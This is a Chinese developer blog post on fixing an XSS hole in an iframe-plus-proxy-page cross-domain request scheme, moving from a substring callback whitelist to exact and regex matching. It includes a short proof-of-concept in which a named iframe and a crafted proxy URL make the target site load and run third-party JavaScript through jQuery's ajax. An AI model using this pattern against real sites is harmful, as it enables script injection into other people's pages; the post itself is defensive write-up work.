一个跨域请求的XSS续

    之前讨论过,在解决post跨域请求时,采用iframe+本域代理页的形式,兼容性(当然是包括IE6啦)是最好的。上次提到,代理页面的作用是:执行本域下的回调函数。就是这个原因,给XSS带来了便利。详细说明,请参考一个跨域请求的XSS漏洞

    上次也提到,解决这个问题的根本在于杜绝不合法的函数在页面内执行。上次透了一下懒,对函数名就行了包含匹配。过程如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
/**
  * callback的值为:namespace.function,prefix123456
  */
var  filter = [
     'namespace' ,
     'prefix'
];
//验证函数,返回true时,return
var  validateCallback =  function  (callback) {
     var  flag =  true ;
     for ( var  i=0;i<filter.length;i++) {
         if (callback.indexOf(filter[i]) > -1) {
             flag =  false ;
         }
     }
     return  flag;
}
 
if (validateCallback(callback)) {
     return ;
}

    从上面的代码可以看出,只有我的白名单的函数才能通过并执行。并且namespace是我定义的命名空间,我只要保证我的函数不会造成XSS就可以了吧。可是我太天真了,没想到还有这么个情况:

1
2
3
4
5
6
7
8
<iframe name= "namespace"  src= "http://www.a.com"  onload= "loadIframe();" >
<script>
  function  loadIframe() {
     var  iframe = document.createElement( 'iframe' );
     iframe.src =  'http://www.a.com/proxy.html?namespace.$.ajax&url="xxx"&dataType="javascript"' ;
     document.body.appendChild(iframe);
  }
</script>

    这个时候,很轻松的就在a.com下,执行了第三方的js文件,想想都是一件可怕的事情。那为什么它能执行呢?

  1. 此时的namespace就是iframe的window,我们可以想象document.namespace是什么结果
  2. 一般情况下,a.com的页面上都会引用jquery或者其他的js库,很方便的调用一个方法执行一个ajax请求一个js文件,并执行
  3. 更重要的是,它可以操作window上所有的方法
  4. ……

    那怎么解决呢?我最初想到的办法是:不改变现在白名单的情况下,增加域名白名单,只有在域名白名单里的域名才能执行。与此同时,遇到的一个问题是,我无法在proxy中,判断对我请求的域名是否合法。我最初想到的两种获得域名的方式是:document.referrer和parent.document.domain,下面我简单说明这两种形式为什么能判断。

    无论通过那种方式限制,最重要的一点不能忘记:合法的请求,不能被限制。如果第三方采用iframe引用的话,犹豫同源策略,parent.document.domain会抛出异常,无法进行判断;至于document.rederrer的问题在于,如果嵌套多层iframe的话,我的reffer是正常的,其实还是非法的引用。

    既然这个也被否定了,我到底怎么办呢?难道真的没办法防住这个吗?我又重新思考了一遍,为什么会出现这个xss漏洞呢?最主要的原因还是这个函数名。现在所做的没有对函数名进行严格控制,只是在判断包含关系。所以接下来要做的就是限制死函数名,只能是我的filter里的,可以通过恒等或者是正则匹配完成。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
/**
  * callback的值为:namespace.function,prefix123456,prefix1231321
  */
var  filter = [
     'namespace.function' ,
     /^prefix\d$/
];
//验证函数,返回true时,return
var  validateCallback =  function  (callback) {
     var  flag =  true ;
     for ( var  i=0;i<filter.length;i++) {
         if ( typeof  filter[i] ===  'string' ) {
             if (filter[i] === callback) {
                 flag =  false ;
             }
         } else  {
             if (filter[i].test(callback)) {
                 flag =  false ;
             }
         }
     }
     return  flag;
}
 
if (validateCallback(callback)) {
     return ;
}

    通过上面的这种形式,暂时解决了这个XSS漏洞。当然这个问题还是一个长期的问题,还是需要长期跟进,遇到问题,岁恨死解决。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值